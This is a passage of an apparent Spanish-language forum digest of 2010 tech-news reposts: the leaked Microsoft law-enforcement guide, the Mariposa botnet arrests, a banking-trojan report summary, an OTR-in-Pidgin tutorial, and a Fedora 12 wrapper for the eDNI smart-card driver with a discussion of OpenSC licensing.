de MSFT escudado en la DMCA pero ya están abriendo en otro lado y el
documento llegó hasta a Wired… Efecto Streisand hasta en la sopa:
Microsoft Global Criminal Spy Guide Mirrors
http://jya.com/microsoft-spy.zip
http://eyeball-series.org/microsoft-spy.zip
http://cryptome.net/microsoft-spy.zip
http://www.wired.com/threatlevel/2010/02/microsoft-cryptome/
http://file.wikileaks.org/files/microsoft-spy.pdf
http://downtr.net/find/microsoft-spy+zip.html
FacebookMeneamedel.icio.usGoogle Buzz
9 Comentarios a “Lo que Microsoft sabe de vos y le muestra a las
autoridades”
Fabio el 25.02.10Responder
es genial que estas cosas se escapen y se distribuyan, quienes tenemos
derecho a la información somos nosotros más que ellos, por principios,
por legalidad, por constitucionalidad de ese mismo país que
constantemente viola su propia carta magna.
Es increíble pero real y ya diría “normal” que violen la constitución
más moderna que pudo generarse, ya la DMCA es un ejemplo de como se
cagan en sus propios derechos, es un esquema mental y organizativo
basado en el feudalismo empresarial.
Europa hace rato que está tomando ese camino, al final, todos
terminarán coincidiendo con el más extremo de los extremos: Richard
Stallman :D
Cloud Computing es una farsa, es el control en manos de este tipo de
gente, así que no sirve. ¿Cloud Computing encriptado? tal vez sea una
forma, un sistema de almacenamiento de “chunks” encriptados y que uno
pueda accederlo desde cualquier lado, en la nube sólo guardar esos
trozos de información encriptada y una clave PGP personal para
liberarlo.
Obviamente nadie te dará eso :D
K Budai el 25.02.10Responder
Ya está de vuelta el sitio. Copio y pego:
We would like to notify you that Microsoft has contacted us regarding
http://www.cryptome.org. Microsoft has withdrawn their DMCA complaint.
As a result http://www.cryptome.org has been reactivated and this
matter has been closed. Please allow time for the reactivation to
propagate throughout the various servers around the world.
Fabricio el 25.02.10Responder
No creo que nadie pueda negar que Bill ‘Portones’ es candidato a tener
la cara de boton menos envidiada en la historia. Hace tiempo que
trabaja para el estado de Oceania de la novela 1984. Antes cualquier
informacion acerca de ‘mi’ era mia (como la historia clinica de un
paciente que el doctor tendria que honorar). Hoy en dia es una utopia.
Mariano el 25.02.10Responder
Son unos mega-voyeurs, ya es una enfermedad su pasión por los datos
privados. Y los pocos buenudos que encriptamos todo somos
“terroristas”.
@cristian el 26.02.10Responder
Estamos viendo por escrito lo que todos sabíamos. Ahora yo me pregunto
cuando es tan obvio que las autoridades tienen toda esta información
¿Por qué no cierran todos esos perfiles de pedofilos que pululan la
“red social” Live en vez de callar a los que denuncian?
beto el 01.03.10Responder
Por una vez en la vida me alegro de no ser un gamer…
Igual hoy puede ser MS, mañana (y con peores consecuencias) puede ser
Facebook, Twitter, Nintendo, etc…
Vivimos en una paradoja. Entramos a las redes sociales en buena parte
por presión de grupo y porque hoy en día no estar en ellas es como no
existir… y por otro lado olvidamos lo susceptibles que son estas
empresas de ofrecer sus datos a gobiernos y otras entidades más
cuestionables a cambio de un muy buen negocio.
Internet es un invento maravilloso, el problema son sus usuarios :P
anon el 02.03.10Responder
En parte ese es el negocio de esta gente, “vender privacidad” o
espacios vacios que les permite acumular informacion y poder, asi que
lo mejor es NO USAR MIERDAS QUE NO SABES DE QUE ESTAN HECHAS.
Y QUE SE JODA FACHOBOOK Y LA PRESION SOCIAL
http://www.uberbin.net/archivos/microsoft/lo-que-microsoft-sabe-de-vos-y-le-muestra-a-las-autoridades.php
Paulo
Operaba desde España y tenía cautivas unos 13 millones de máquinas en
casi 200 países. En una operación conjunta entre el cuerpo de la
Guardia Civil española y el FBI norteamericano se han detenido a tres
personas de nacionalidad española, y se continua investigando la
vinculación de más personas con los hechos.
Marzo 5, 2010 08:52 AM
Redacción – ha caído a manos de las fuerzas de seguridad españolas en
cooperación con el FBI norteamericano y diversas empresas dedicadas a
la seguridad informática entre las que se cuenta la española Panda
Security, la que se considera como la mayor botnet desmantelada hasta
la fecha.
Bautizada como "Mariposa", se calcula que esta red de ordenadores
zombie se había extendido a entre 11 y 13 millones de máquinas en 190
países distintos antes del momento de la intervención policial, según
datos procedentes de fuentes diferentes.
Detectada en fecha tan temprana como mayo de 2009 por la empresa
canadiense Defence Intelligence, el caso llegó al FBI que abrió una
investigación detectando que en la organización de la red estaba
implicado, al menos, un ciudadano español, por lo que se puso en
contacto con las autoridades de este país. Las pesquisas siguieron de
la mano de la Guardia Civil y han concluido esta semana con la
detención de tres personas y el desmantelamiento de la red.
Los detenidos son F.C.R., de 31 años y residente en Balmaseda
(Vizcaya), también conocido por sus nicks "netkairo" y "hamlet1917";
J.P.R., de 30 años y residente en Molina de Segura (Murcia),
"Johnyloleante"; y J.B.R., de 25 años y residente en Santiago de
Compostela (A Coruña), "OsTiaToR". Se investiga la participación de un
cuarto miembro del grupo, identificado como “fénix”, que podría ser
venezolano, para lo que se han instado los canales de cooperación
policial internacional para su identificación y detención.
Daños causados y potencial latente
Pese a que, y según comunica la Guardia Civil en su sitio web, la
dimensión de esta red de ordenadores zombie permitía a sus creadores
realizar ataques electrónicos superiores en magnitud a los que
comprometieron en el pasado a Estonia y Georgia, la red solamente se
utilizó con el propósito de robar datos personales de los internautas
con el fin de obtener un lucro ilegal con ellas. Cerca de 800.000
personas -aunque esta cifra podría aumentar según avance la
investigación policial de las máquinas incautadas a los detenidos- han
visto sus datos personales comprometidos, como por ejemplo los números
de sus tarjetas de crédito.
No se han dado cifras oficiales de lo robado a los internautas ni a
las más de 40 instituciones financieras en las que el malware de esta
botnet se había infiltrado, pero responsables de las compañías de
seguridad informática que han participado en la operación indicaron a
Reuters que el coste de limpiar las máquinas infectadas puede ascender
a decenas de millones de dólares.
Los administradores de esta red no crearon el software utilizado, sino
que lo compraron en el mercado negro. Responsables de la Guardia Civil
los han definido como "no unos expertos informáticos", sino personas
con un nivel de conocimientos de usuario final.
Esto demuestra que las visiones más pesimistas sobre el mundo del
malware son muy realistas. Voces como la de Eugene Kaspersky (fundador
de la compañía productora de software de seguridad homónima) claman
que el del malware se ha convertido en un negocio como otro
cualquiera, con personas que viven de crear software de intrusión y
captación de datos sensibles, y ofrecen a sus clientes servicios
añadidos como hotlines de asistencia telefónica, personalización de
los programas e, incluso, realizan eventos presenciales para mostrar
sus nuevos productos.
Copyleft 2009 www.imatica.org
Esta obra se encuentra sujeta a la siguiente licencia:
La difusión, reproducción y traducción de este texto se permite
libremente en cualquier medio o soporte con las únicas obligaciones de
mantener la presente licencia e incluir un enlace o referencia a la
página en la que se encuentra el original dentro del servidor www.imatica.org
. En medios audiovisuales se requiere la cita al medio www.imatica.org
Paulo
¿Qué son y cómo funcionan los troyanos bancarios?
Las técnicas de fraude tradicionales (phishing) basadas en ingeniería
social han evolucionado, haciendo uso del malware, y en concreto de
los troyanos. Éstos han sido diseñados con el objetivo de conseguir
beneficios económicos mediante fraudes bancarios.
INTECO ha publicado un documento para que los usuarios conozcan un
poco más de cerca qué son los troyanos bancarios, qué vectores de
infección explotan y cómo consiguen interceptar las credenciales de
las entidades financieras.
En este documento nos comentan cómo se han depurado las técnicas de
captura de usuarios y contraseñas y las de monitorización. Pequeños
trucos en los que por ejemplo, avisan que observar la presencia del
candado de seguridad en la página de la entidad bancaria y comprobar
la autenticidad del certificado de seguridad son insuficientes, como
ya demostramos en el blog.
La lectura es recomendable para cualquier usuario de Internet, con el
que aprenderá las técnicas que emplean los troyanos para monitorizar
las visitas a páginas bancarias o cuáles son los métodos utilizados
para el robo de sus credenciales, entre ellos:
Registro de teclas pulsadas
Captura de formularios
Capturas de pantalla y grabación de vídeo
Inyección de campos de formulario fraudulentos
Inyección de páginas fraudulentas
Redirección de páginas bancarias
Man-in-the-middle
Además podremos ver qué sucede con los datos robados y cómo se
materializa finalmente el robo.
En definitiva un documento muy interesante para aquellos que no estén
familiarizados con este tipo de troyanos y deseen conocerlos un poco
más a fondo.
Publicado por Laura García en 10:18
Etiquetas: inteco, troyanos bancarios
6 COMENTARIOS:
svoboda dijo...
El artículo no esta mal, pero para mi gusto le falta algún apartado
tranquilizador. Es decir, en la gran mayoría de usuarios que lean el
PDF sembrará una gran duda sobre la seguridad de la banca electrónica,
que existe, pero también hay formas de paliar. El documento, siendo de
INTECO que está al alcance de mucha gente, es un pcoo catastrofista
para mi gusto. Ahí que decir las cosas claras, pero desde los dos
puntos de vista; el de "tiene problemas", pero no insolucionables.
1 de marzo de 2010 12:01
pedrolas dijo...
Aqui hay una pagina muy util para detectar paginas fraudulentas:
Paulo
OTR, un complemento hecho para Pidgin
http://bitelia.com/2010/02/secreto-chat-otr-pidgin
¿Nunca te has preguntado qué tan privada es tu comunicación? Si ya lo
hiciste, quizá no te preocupe saber que tus conversaciones viajan
desnudas a través de internet porque piensas “que no hay nada que
digas (o te digan) que a otros les importe”. ¿Qué tal cuando lo que
quieres conversar es realmente privado? Por ejemplo, tus contraseñas,
los datos de tu tarjeta de crédito o el más grande de tus secretos. En
este caso un cliente de chat no es la opción. Esto era cierto hasta la
llegada del protocolo criptográfico OTR (Off-the-Record) para el
cifrado de mensajería instantánea.
Ahora bien, como usuario de software libre seguramente has chateado
con Pidgin, un cliente con soporte incluido para una gran variedad de
protocolos de mensajería. Entonces te interesará saber que el proyecto
OTR ofrece un complemento oficial hecho expresamente para tu cliente
de chat favorito. ¿Cómo utilizarlo? Intentaré explicártelo a
continuación.
Instalación
La instalación dependerá de tu sistema operativo. Pidgin es
multiplataforma y OTR también. Como es impráctico ejemplificar para
cada una de ellas, te remito a la documentación oficial para que
instales (quizá desde el código fuente) OTR para tu Pidgin (aunque
existe soporte para otros clientes). En Fedora y Ubuntu encontrarás
que el paquete se llama pidgin-otr.
Activación
Para utilizar OTR debes comenzar por activarlo desde la ventana de
complementos. Esto es, dando clic en algo así como Herramientas ->
Complementos (o bien, con CTRL+U). Finalmente, habilita la opción
Mensajería off the record (OTR) (el nombre cambiará según la versión e
idioma de tu Pidgin).
Configuración
Una vez habilitada la opción, da clic en el botón Configurar
complemento que aparece en la parte baja de la ventana. Ahora debes
generar llaves privadas, una para cuenta que administres con Pidgin.
Elige una cuenta y da clic en el botón Generar. Se abrirá otra ventana
que nos informará cuando la llave haya sido generada, que luego
aparecerá en la ventana anterior en forma de una secuencia de 40
carácteres alfanuméricos. La llave será la “huella digital” de tu
cuenta y en adelante te ayudará en el proceso de autenticación con tus
amigos.
Conversaciones privadas
Son tres los pasos para asegurar una conversación privada con Pidgin y
OTR:
El primero paso ya está hecho: Generar una llave privada.
Tú y tu amigo deben solicitarse una conversación privada. Claro, para
esto es necesario que tu amigo también use y configure OTR como hemos
dicho hasta ahora. De no ser así, él sólo recibirá una serie de
carácteres extraños en vez de tus palabras. ¿Qué debes hacer? Abre una
ventana para conversar con tu amigo. Notarás que en medio, a la
derecha, aparece “No privado” con letras rojas. Da clic allí y luego a
la opción Iniciar conversación privada. Esto sólo funcionará si tu
amigo usa OTR: Te aparecerá un mensaje diciendo algo así como que tu
amigo no está autenticado y que la conversación no ha sido verificada.
Vamos al siguiente paso.
Tú y tu amigo deben verificar que realmente son quienes dicen ser.
Esto es lo que Pidgin llama “autenticación”. Hay tres maneras de
hacerlo: 1) pregunta y respuesta, 2) secreto compartido y 3)
verificación manual de tu “huella digital”. Haremos la primera: la más
sencilla. Da clic en el menú OTR y luego en “autenticar amigo”. Te
aparecerá un formulario para introducir una pregunta y su respuesta.
Cuando termines, tu amigo recibirá la pregunta y deberá introducir la
respuesta que solicitaste. Un “buen” ejemplo sería: ¿Cuál es mi distro
favorita…?
La conversación será considerada como privada (notarás unas letras
verdes donde antes había rojas) sólo hasta que tú y tu amigo realicen
ese proceso mutuamente.
Y eso es todo.
Los detalles del funcionamiento de OTR están fuera del alcance de este
artículo. Per tal vez te alivie saber que OTR fue diseñado por un par
de reconocidos criptógrafos: Ian Golberg (el ciberpunk que puede
hacerte desaparecer) y Nikita Borisov (profesor asistente en la
Universidad de Illinois). Ellos ya han publicado varios artículos de
investigación al respecto y en su momento fueron autores de uno de los
primeros criptoanálisis en exponer las tremendas fallas del protocolo
WEP para redes inalámbricas. Así que quédate tranquilo, OTR no es un
juego de niños.
Seguramente dejé escapar algunas cosas en mi exposición. No te
preocupes, estaré atento a tus comentarios. Estoy seguro que OTR será
un buen aliado para ti en la red.
Paulo
el congreso de seguridad informática Rooted CON. Durante el mismo se
esentarán una serie de ponencias a cargo de diferentes personas que
trabajan dentro del mundo de la seguridad informática, habrá un
concurso de ctf, un 'wargame' donde hay una serie de retos
relacionados con diversos temas de seguridad, con equipos atacando las
máquinas de los demás equipos y protegiendo las suyas,dos mesas
redondas sobre historia del hacking y las modificaciones del código
penal español que afectan a estas áreas».
Paulo
Estas aquiContenido / Un wrapper para el eDNI (eDNI en Fedora 12)
Un wrapper para el eDNI (eDNI en Fedora 12)
Porjonsito- Publicado el23 Marzo 2010
Por Juan Antonio Martínez (Jonsito)
A raíz de un artículo en BarraPunto, y como reto personal, me propuse
hacer funcionar el paquete que la DGP ofrece para Fedora 10 en mi
Fedora 12. No sólo eso: además el procedimiento debía ser adaptable a
cualquier distribución.
Los lectores de BarraPunto se han encontrado estos días con un
interesante artículo [pdf] sobre ingeniería inversa a nuestro querido,
amado y nunca bien ponderado DNI electrónico.
En él se puede ver que, a pesar de los denodados esfuerzos de nuestra
Dirección General de la Policía, la publicación de un driver libre
para el DNI electrónico es cuestión de (muy poco) tiempo...
Entretanto no tenemos más remedio que seguir tirando de los tristes
drivers que nos ofrece la página web oficial, y donde vemos que
nuestras posibilidades están más que reducidas: en lugar de un driver
"universal", la DGP nos ofrece unas pocas -y anticuadas- instalaciones
tipo. En cuanto nuestra distribución favorita actualice el paquete
OpenSC, el dni dejará de funcionar.
...¿o no?
He aquí la criatura: un wrapper para la biblioteca propietaria
libopensc-dnie.so
Una observación: me parece muy triste que sea la Comunidad Linux la
que tenga que resolver a la administración sus meteduras de pata.
Primero fue la Tarjeta Ceres; despues el DNI electrónico. Estoy seguro
que hay técnicos altamente competentes y cualificados en la
administración, y que debe ser para ellos una pena que por intereses
políticos y comerciales, o conceptos malentendidos de seguridad
informática, no hagan realmente bandera del acceso universal a la
administración.
Bueno, basta de política; vamos allá:
El siguiente proceso indica los pasos necesarios para instalar el
soporte de DNI electrónico en Fedora 12. El procedimiento descrito es
fácilmente exportable a otras distribuciones Linux que utilicen el
paquete OpenSC-0.11.x
La web oficial del dni electrónico sólo da soporte a determinadas
versiones de OpenSC. Debido a la política de actualizaciones de las
distribuciones, los paquetes precompilados sólo funcionan en algunas
distros. Para más desgracia, las actualizaciones del paquete OpenSC
dentro de la misma distribución, hacen que el módulo opensc-dnie
ofrecido por la DGP deje de funcionar al cambiar OpenSC de versión.
El problema se debe a que los diseñadores de OpenSC, para penalizar el
uso de bibliotecas propietarias, escribieron en el código que realiza
la carga de módulos dinámicos una rutina de comprobación del número de
versión del módulo. Esto obliga a que por cada nueva revisión de
OpenSC, todos los módulos dinámicos deban ser recompilados. Si bien la
licencia LGPL permite el enlace dinámico con módulos propietarios, el
sentir de los desarrolladores es que la "seguridad por oscuridad" es
contraproducente tratándose de tarjetas criptográficas, y no desean
dar facilidades al desarrollo de drivers propietarios.
La filosofia es pues permitir enlace dinámico, pero forzar a los
autores a liberar sus fuentes, o bien a publicar -y mantener- wrappers
libres.
De hecho, los desarrolladores actuales de OpenSC considerarán que la
carga de drivers dinámicos a partir de la version 0.12 es una
"obsolete feature".
Lo aquí escrito funciona pues con las versiones OpenSC-0.11.x, pero no
se garantiza que siga funcionando más allá de OpenSC-0.12
En la serie 0.11.x, los módulos deben implementar y exportar la
funcion char *sc_driver_version(), que retorna el número de versión
contra el que fue enlazado el modulo. En el caso del paquete que la
DGP ofrece para fedora 10, sc_driver_version retorna "0.11.7" con lo
que sólo puede -en teoría- funcionar en OpenSC-0.11.7. De este modo,
cuando se intenta ejecutar el driver de la DGP en Fedora 12 se obtiene
un bonito mensaje "ctx.c:load_dynamic_driver: Invalid module version",
y se aborta la carga del módulo:
user$ pkcs15-tool --list-public-keys
[pkcs15-tool] ctx.c:367:load_dynamic_driver: dynamic library '/usr/lib/
libopensc-dnie.so.1.0.3': invalid module version
[pkcs15-tool] ctx.c:467:load_card_drivers: Unable to load 'dnie'.
En el momento de escribir estas líneas, Fedora 12 utiliza la versión
OpenSC-0.11.11, con lo que debemos "engañar" a OpenSC para que se crea
que el módulo de DNIe corresponde a dicha versión.
Para engañarlo, debemos conseguir que la función sc_driver_version
devuelva el string que nosotros queramos, en lugar del que tiene pre-
compilado. Para ello hay que hacer lo siguiente:
- Eliminar (o en nuestro caso cambiar el nombre) la referencia a
sc_driver_version en la biblioteca propietaria.
- Crear una nueva biblioteca que incluya la función con el string de
retorno que nosotros queremos.
- Decirle a opensc que utilice la nueva biblioteca.
Antes de empezar se asume que OpenSC y pcsc-lite están correctamente
instalados y configurados. Remitimos al consabido RTFM...
El procedimiento que he seguido es el siguiente:
1- Descargar e Instalar rpm de Fedora 10
La Dirección General de la Policía distribuye un fichero tar, que
contiene dos rpm's: opensc-0.11.7 y opensc-dnie-1.4.6.
1.1- Ignoramos el primero e instalamos el segundo:
root# rpm -v -i opensc-dnie-1.4.6-2.fc10.i386.rpm
1.2- Se abre una ventana del navegador, que indica que busquemos en el
menú de aplicaciones el instalador del dnie en Firefox. Pulsamos en
dicho menú, y aparece una ventana con instrucciones extras, que
nosotros obedientemente _DES_obedecemos :-) (son instrucciones para
cargar y activar el certificado de la DGP, pero Firefox es muy listo y
lo hace automáticamente)
2- Preparación
Una vez instalado el paquete, vamos a parchear. Necesitaremos la
utilidad objcopy (paquete binutils) y por supuesto gcc y su familia.
2.1- creamos directorio de trabajo y copiamos archivos:
user$ mkdir /tmp/dnie
user$ cd /tmp/dnie
2.1- Copiamos la biblioteca original al espacio de trabajo:
user$ cp /usr/lib/libopensc-dnie.so.1.0.3 libopensc-dnie.so.1.0.3.orig
3- Creación del wrapper
3.1- Editamos el parche. En función de la distribución, ajustaremos el
valor del string a la versión de OpenSC que tengamos instalada...
user$ vi patch.c
char *patched_driver_version="0.11.11"; char * sc_driver_version()
{ return patched_driver_version; }
NOTA: para hacer las cosas bien, deberíamos tener instalado opensc-
devel, y preguntar a
opensc su número de versión... se deja como tarea al lector...
3.2- Compilamos, generando un .o "relocatabl":
user$ gcc -fpic -g -c -Wall patch.c
4- Generamos las bibliotecas necesarias
4.1- Parcheamos la librería original, cambiando nombre de la función
sc_driver_versión:
user$ objcopy --redefine-sym sc_driver_version=orig_sc_driver_version
libopensc-dnie.so.1.0.3.orig libopensc-dnie.so.1.0.3
user$ chmod +x libopensc-dnie.so.1.0.3
4.2- Creamos una nueva dll con el fichero que hemos compilado:
user$ gcc -shared -Wl,-soname,libwrapper-dnie.so libopensc-dnie.so.
1.0.3 patch.o -o libwrapper-dnie.so.1.0.0
4.3- En estos momentos tenemos dos dll's:
- La original parcheada, en la que se ha renombrado la función
"sc_driver_version" por "orig_sc_driver_version".
- La que hemos creado, que define "sc_driver_version" y enlaza con la
anterior.
5- Instalación y configuración
5.1- Copiamos las nueva dll's a /usr/lib y actualizamos el cache del
dynloader
(para esto se necesita ser root)
user$ su
root# cp libwrapper-dnie.so.1.0.0 libopensc-dnie.so.1.0.3 /usr/lib
root# ldconfig
5.2- Editar /etc/opensc.conf, cambiando la biblioteca a utilizar:
root# vi /etc/opensc.conf
Donde pone:
module = /usr/lib/libopensc-dnie.so;
Debe poner:
# module = /usr/lib/libopensc-dnie.so;
module = /usr/lib/libwrapper-dnie.so;
root# exit
6- Prueba
Volvemos a ser usuario normal. Insertamos el dni en lector y probamos
que no hemos metido la pata:
user$ pkcs15-tool --list-public-keys
Public RSA Key [KpuAutenticacion]
Com. Flags : 3
Usage : [0xC0], verify, verifyRecover
Access Flags: [0x12], extract, local
ModLength : 2048
Key ref : 1
Native : yes
Path : 3f003f110101
Auth ID :
ID :
4138363639413238303730354638453230303930353235313033353232
Public RSA Key [KpuFirmaDigital]
Com. Flags : 3
Usage : [0x2C0], verify, verifyRecover, nonRepudiation
Access Flags: [0x12], extract, local
ModLength : 2048
Key ref : 2
Native : yes
Path : 3f003f110102
Auth ID :
ID :
4638363639413238303730354638453230303930353235313033353232
Y esto es todo, amigos: Ya tengo mi DNI electrónico funcionando con
Fedora 12
Un último apunte: en la página web del DNI electrónico, podemos ver
que opensc-dnie-1.4.6 no es la versión más moderna, sino que está
disponible (aunque para debian) la versión 1.4.7. Antes de que el
lector lo intente, desgraciadamente tengo que comentar que esta
versión está "strippeada", con lo que el parcheo con objcopy no
funciona (no encuentra el símbolo en la tabla).
Que vuesas mercedes lo disfruten con salud
Juan Antonio Martinez jonsito _en_ terra _dot_ es
Copyright 2010 by Juan Antonio Martinez. Se permite la libre
copia, modificación y distribución por cualquier medio, siempre que se
indique el autor y se indique un enlace al artículo original publicado
en Kriptópolis.
* Abre sesión o crea tu cuenta para enviar opiniones
* Versión para imprimirVersión para imprimir
Etiquetas
* Hacking y Hacktivismo
Comentarios
Selecciona arriba tu forma preferida de visualizar los comentarios y
pulsa el botón para guardar tu elección para próximas visitas (sólo si
eres usuario registrado).
La gente de OpenSC está un "pelin" mosqueada...
Enviado por jonsito el 23. Marzo 2010 - 11:17.
On Mar 23, 2010, at 11:47 , xxxxx at terra.es wrote:
> > On Mar 20, 2010, at 21:11 , xxxxx wrote:
> > Maybe you can help us find the source instead (or help
communicating with the agency distributing the software if the source
is not published)
>
> There is an interesting document about reverse engineer of
proprietary libopensc-dnie.so library at:
> http://espana.barrapunto.com/es/10/03/20/2251222.shtml
> The full pdf is at:
> http://blog.48bits.com/wp-content/uploads/2010/03/articulo.pdf
> (in spanish, sorry)
>
> There is also several people working in create a full source
free driver for spanish eDNI card.
> In the meanwhile, I've developed a wrapper to create a fake
function sc_driver_version() to tell opensc
> that proprietary library module version is ok.
>
> It's a dirty trick, but works. I've sent it to xxxx in a
separate mail
> The free opensc spanish eDNI driver is still a political
battle... but we are near to bypass politics :-b
Using the proprietary module loading interface was not the best
solution but it worked and was OK for all parties. But as the signs
currently show that they just abuse LGPL. And not in a chinese dvd
player but in an EU government backed project - this can not be
tolerated.
Such projects can often be partly funded by EU structure funds, do
you know (or can you research) if this is the case for DNI as well?
(Usually this means having the EU flag sign somewhere on the materials
of the result of the project, like it is on the Portuguese card
website http://www.cartaodocidadao.pt/ or Estonian eID https://id.eesti.ee/trac/
)
En cristiano: una cosa es dar facilidades al desarrollo y otra es no
corresponder con esas facilidades. Algunos países, como Finlandia e
italia directamente publicaron los drivers como código abierto. Otros,
como Portugal y Estonia, empezaron con un driver cerrado, y luego lo
abrieron...
Spain is different: no solo publicaron Ceres violando la GPL, y
posteriormente como driver cerrado, sino que el eDNI es tambien
cerrado, y no tienen la menor intención de abrirlo. La gente de OpenSC
está amenazando (y con razón) con eliminar la posibilidad de carga
dinámica de drivers, lo que dejaría literalmente tirada la posibilidad
de usar el eDNI en Linux.
Asco de política..
* Abre sesión o crea tu cuenta para enviar opiniones
Parece que van a mandar un mail
Enviado por NoAlWin el 24. Marzo 2010 - 1:16.
Parece que van a mandar un mail a los del dnielectronico español y a
los del portugues
http://www.opensc-project.org/pipermail/opensc-devel/2010-March/013784.html
Si crees que estan violando la licencia tambien con CERES puede ser un
buen momento para que lo comentes en la lista de correo.
En la web del dnie no he visto nada de europa, aunque supongo que en
principio podria investigar en los presupuestos del estado a ver de
donde ha salido el dinero... Lo que si te puedo decir es que se han
usado fondos FEDER en la campaña de distribucion de lectores de dnie
que hizo tractis, aunque en el CD solo venian drivers para Windows (en
mac y linux te mandaban a la pagina web).
* Abre sesión o crea tu cuenta para enviar opiniones
Hola, Creo que aquí se están malinterpretando conceptos
Enviado por akas84 el 24. Marzo 2010 - 9:02.
Hola,
Creo que aquí se están malinterpretando conceptos. El código OpenSC
está licenciado, como correctamente se indica en la parte citada bajo
LGPL y por tanto ni CERES ni DNIe están violándola compilando un
módulo binario para ello.
Además comentar que desde OpenSC[1] sólo se está pidiendo tanto al
proyecto de Portugal como a la DGP que suministren el código fuente
del opensc binario que se está distribuyendo para facilitar la
instalación a los ciudadanos. Como se puede leer en el licenciamiento
GPL y LGPL no es obligatorio PUBLICAR el código. El punto obligatorio
es suministrarlo si alguien lo solicita. Entonces yo me pregunto:
¿Por qué tanto ruido? ¿Alguien ha solicitado el código y no se lo han
dado?
Repito, el código de OpenSC, no el de opensc-ceres ni opensc-dnie que
no están licenciados bajo ninguna licencia de código abierto.
Un saludo,
[1]: http://www.opensc-project.org/pipermail/opensc-devel/2010-March/013784.html
* Abre sesión o crea tu cuenta para enviar opiniones
Hay varias cosas
Enviado por jonsito el 24. Marzo 2010 - 13:17.
Por lo que comentan en las listas de correo, el problema con el dnie
no va con linux sino con MacOS. Parece ser que el binario distribuido
para MacOS no utiliza los procedimientos de carga dinámica de linux
sino que tiene el código empotrado dentro del de OpenSC. Esto sí
contituye una clara violación de la licencia:
http://www.opensc-project.org/pipermail/opensc-devel/2010-March/013751.html
Yes, the Linux instructions talk about installing opensc and
opensc-dnie which feels like you describe (and how I remember it was
explained some years ago) But I suspect things have changed. The code
that is installed with OS X is a single libopensc that contains a lot
of mixed symbols, some of which don't exist in OpenSC code.
For example sc_pkcs15_get_card_objects in pkcs15_default.o, which
also contains other symbols which indeed are in OpenSC.
So I think the module thing does not apply any more, at least not
on OS X.
Por ello se ha abierto una incidencia, para preguntar y clarificar el
status legal, y de paso solicitar que la DGP incluya en la página de
descargas el fuente de OpenSC:
http://www.opensc-project.org/opensc/ticket/205
Por otro lado, el sentir de la gente de OpenSC es que "ya está bien".
Que una cosa
es dar facilidades, y otra que se abuse de ellas.
* Abre sesión o crea tu cuenta para enviar opiniones
En ese caso jonsito, imagino
Enviado por akas84 el 25. Marzo 2010 - 8:02.
En ese caso jonsito, imagino que se refieren al software utilizado en
el eID portugués ya que como se puede ver en www.dnielectronico.es el
software que se utiliza es el SCA-0.2.2 que aunque es antiguo está
compilado por el equipo de opensc.org.
El único punto a consultar referente al DNI electrónico Español es el
código fuente de los paquetes binarios de opensc-0.11.7 que se
distribuyen.
Un saludo,
* Abre sesión o crea tu cuenta para enviar opiniones
Me temo que no ( y una buena noticia)
Enviado por jonsito el 26. Marzo 2010 - 21:21.
El caso portugues es totalmente distinto: la empresa que hizo el
trabajo ha reconocido que utilizan una version modificada de OpenSC y
están intentando con el gobierno portugues arreglar el desaguisado:
http://www.opensc-project.org/opensc/ticket/204
http://www.opensc-project.org/pipermail/opensc-devel/2010-March/013748.html
Por lo que he podido deducir, es que efectivamente, en el caso
español, en lugar de opensc se utiliza SCA, que es un subset de opensc
adaptado para el entorno criptográfico de los Mac.
Por lo que comentan en el correo, el binario que se proporciona para
el edni (español) en los mac contiene diversas rutinas que parecen
importadas de OpenSC. Es como si para aprovechar el código de linux,
en el desarrollo se hubieran añadido a la biblioteca propietaria las
rutinas de OpenSC que no existen en SCA.
------------------------------------------------------------------------------------------
Cambiando de Tema: para OpenSC-0.12, se acaba de aceptar la
integración del DNI italiano:
http://www.opensc-project.org/opensc/ticket/177
Este DNI estaba soportado como un "separate fork" desde hace mucho
tiempo, pero ahora
va a ser integrado totalmente con sus correspondientes fuentes
Lo mejor de todo es que el Italian eID incluye tambien el famoso
"secure messaging".
En este momento están discutiendo la mejor manera de manejar las
claves de apertura
del canal, así como la generación remota de comandos de control
(procedimiento que
utiliza la versión java de la aplicación de cambio de contraseña para
0sX y Linux
en nuestro DNI)
La Buena noticia es que el sistema es calcadito del español, con lo
que una vez
publicados estos fuentes, no habría razón real para seguir ocultando
los fuentes españoles
Una razón más para intentar convencer a nuestros políticos de que se
dejen de tonterías.
Esta siendo una larga lucha; pero ya se atisba el fin de la
batalla :-)
* Abre sesión o crea tu cuenta para enviar opiniones
Diferentes changelogs??
Enviado por jonsito el 26. Marzo 2010 - 22:11.
Investigando por el web, me ha llamado la atención una cosa:
No existe el paquete opensc-0.11.7-7.fc10.i386.rpm en ningún otro
sitio web que no sea el de la DGP
Es más: el changelog oficial del rpm de OpenSC dice algo tal que:
pepe$ rpm -qi --changelog opensc
-------
* lun jun 15 2009 Tomas Mraz <tm...@redhat.com> - 0.11.8-2
- Rebuilt with new openct
* lun may 11 2009 Tomas Mraz <tm...@redhat.com> - 0.11.8-1
- new upstream version - fixes security issue
* vie feb 27 2009 Tomas Mraz <tm...@redhat.com> - 0.11.7-1
- new upstream version - fixes CVE-2009-0368
-----------------------------------
Es decir, se pasó directamente del 0.11.7-1 al 0.11.8-1 por un
problema de seguridad
En cambio el changelog del rpm que ofrece la DGP dice lo siguiente:
rpm -qi opensc-0.11.7-7.fc10.i386.rpm
----------------------------------------------
...
such as the FINEID (Finnish Electronic IDentity) card. Swedish Posten
eID cards have also been confirmed to work.
* mié jun 03 2009 Dirección General de la Policía y de la Guardia
Civil <oficina...@dnielectronico.es> - 0.11.7-7
* Tue May 5 2009 Dirección General de la Policía y de la Guardia Civil
* Abre sesión o crea tu cuenta para enviar opiniones
solicitar, suministrar...
Enviado por OtraVezAqui el 25. Marzo 2010 - 21:21.
uf...
cuando alguien lee la licencia , y lee debe suministrar el codigo
supongo que todo el mundo espera que el codigo este disponible junto a
su binario sin tener que SOLICITAR NADA....
no se, cuando empezamos a usar los "matices" de las palabras se pierde
el espíritu del contexto.
y sip, debe suministrar <> lo mismo a debe publicar....
pero vamos....
* Abre sesión o crea tu cuenta para enviar opiniones
alternativas
Enviado por anv el 24. Marzo 2010 - 11:04.
Bien, tenemos un problema, la gente que maneja esto no quiere liberar
el código fuente de su driver.
Qué alternativas tenemos. La ideal sería presionarlos lo suficiente
para que lo liberen. Dado que originalmente publicaron el driver
violando la GPL, estan obligados a liberar esa versión, sin importar
que hayan dejado de distribuirla. Pero dado que se trata del Estado,
no se si se los logrará convencer. Tal vez con la ayuda legal de la
Free Software Fundation...
Suponiendo que eso no se consiga, la siguiente alternativa es hacer un
